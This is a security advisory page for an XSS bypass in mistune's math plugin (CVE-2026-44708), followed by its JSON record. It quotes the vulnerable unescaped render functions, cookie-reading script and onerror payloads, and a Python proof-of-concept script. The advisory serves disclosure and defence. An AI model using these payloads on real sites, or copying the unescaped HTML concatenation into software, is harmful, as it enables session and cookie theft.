GHSA-8G87-J6Q8-G93X

Vulnerability from github – Published: 2026-05-08 23:40 – Updated: 2026-05-08 23:40
VLAI
Summary
Mistune Math Plugin has an XSS Escape Bypass
Details

Summary

The mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.

The result is a silent contract violation: a developer who enables escape=True reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's _escape flag entirely.

Details

File: src/mistune/plugins/math.py

def render_inline_math(renderer, text):
    # `text` is raw user input — no escape() call anywhere
    return r'<span class="math">\(' + text + r"\)</span>"

def render_block_math(renderer, text):
    # same issue for block-level $$...$$
    return '<div class="math">$$\n' + text + "\n$$</div>\n"

Both functions take text directly from the parsed token and concatenate it into the output string. Neither function: - calls escape(text) from mistune.util - checks renderer._escape - calls safe_entity(text) or any other sanitisation helper

The escape=True flag only influences the main HTMLRenderer methods (paragraph, heading, codespan, etc.). Plugin render functions registered via md.renderer.register() receive the renderer instance but have no mechanism that enforces the escape contract - they must opt in manually, and math.py does not.

PoC

Step 1 — Establish the baseline (escape=True works for plain HTML)

The script creates a markdown parser with escape=True and the math plugin enabled, then feeds it a raw <script> tag that is not inside math delimiters:

md = create_markdown(escape=True, plugins=["math"])
bl_src = "<script>alert(document.cookie)</script>\n"
bl_out = str(md(bl_src))

Expected and actual output — the script tag is correctly escaped:

<p>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p>

This confirms escape=True is working for the normal render path.

Step 2 — Craft the exploit payload

Wrap the identical <script> payload inside inline math delimiters $...$. The content is token-extracted as text and handed to render_inline_math():

ex_src = "$<script>alert(document.cookie)</script>$\n"
ex_out = str(md(ex_src))

Step 3 — Observe the bypass

Actual output — the script tag is emitted raw, unescaped:

<p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p>

The <script> block is live inside the <span class="math"> wrapper. Any browser that renders this HTML will execute alert(document.cookie).

Step 4 — Block math variant ($$...$$)

The same bypass applies to block-level math. Payload:

$$
<img src=x onerror="alert(document.cookie)">
$$

Output:

<div class="math">$$
<img src=x onerror="alert(document.cookie)">
$$</div>

The onerror handler fires as soon as the browser tries to load the non-existent image x.

Script

A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.

#!/usr/bin/env python3
"""H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw."""
import os, html as h
from mistune import create_markdown

md = create_markdown(escape=True, plugins=["math"])

# --- baseline ---
bl_file = "baseline_h1.md"
bl_src  = "<script>alert(document.cookie)</script>\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
    f.write(bl_src)
bl_out = str(md(bl_src))

print(f"[{bl_file}]\n{bl_src}")
print("[output — escape=True works normally here]")
print(bl_out)

# --- exploit ---
ex_file = "exploit_h1.md"
ex_src  = "$<script>alert(document.cookie)</script>$\n"
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
    f.write(ex_src)
ex_out = str(md(ex_src))

print(f"[{ex_file}]\n{ex_src}")
print("[output — escape=True bypassed inside math delimiters]")
print(ex_out)

# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit  .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""

def case(kind, label, filename, src, out):
    return f"""
<div class="case {kind}">
  <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>
  <div class="panels">
    <div class="panel">
      <h3>Input — {h.escape(filename)}</h3>
      <pre>{h.escape(src)}</pre>
    </div>
    <div class="panel">
      <h3>Output — HTML source</h3>
      <pre>{h.escape(out)}</pre>
      <div class="rlabel">↓ rendered in browser</div>
      <div class="rendered">{out}</div>
    </div>
  </div>
</div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H1 — Math XSS</title><style>{CSS}</style></head><body>
<h1>H1 — Math Plugin XSS (escape=True bypass)</h1>
<p class="desc">render_inline_math() in plugins/math.py concatenates user content without escape().
The escape=True renderer flag is completely ignored inside $...$ delimiters.</p>
{case("baseline", "Same HTML outside $...$  — escape=True works", bl_file, bl_src, bl_out)}
{case("exploit",  "Same HTML inside $...$   — escape=True bypassed", ex_file, ex_src, ex_out)}
</body></html>"""

out_path = os.path.join(os.getcwd(), "report_h1.html")
with open(out_path, "w") as f:
    f.write(page)
print(f"\n[report] {out_path}")

Example usage:

python poc.py

Once the script is run, open report_h1.html in the browser and observe the behaviour.

Impact

Dimension Assessment
Confidentiality Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session
Integrity Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions
Availability Attacker can crash or freeze the page (denial-of-service to the user)

Risk amplifier: This is a bypass of an explicit security control. Developers who have audited their application and confirmed escape=True is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T23:40:04Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer\u0027s `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input \u2014 no escape() call anywhere\n    return r\u0027\u003cspan class=\"math\"\u003e\\(\u0027 + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return \u0027\u003cdiv class=\"math\"\u003e$$\\n\u0027 + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 \u2014 Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 \u2014 Observe the bypass**\n\nActual output \u2014 the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 \u2014 Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True \u2014 HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 \u2014 Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 \u2014 Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  \u2014 escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   \u2014 escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim\u0027s browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.",
  "id": "GHSA-8g87-j6q8-g93x",
  "modified": "2026-05-08T23:40:04Z",
  "published": "2026-05-08T23:40:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Math Plugin has an XSS Escape Bypass"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.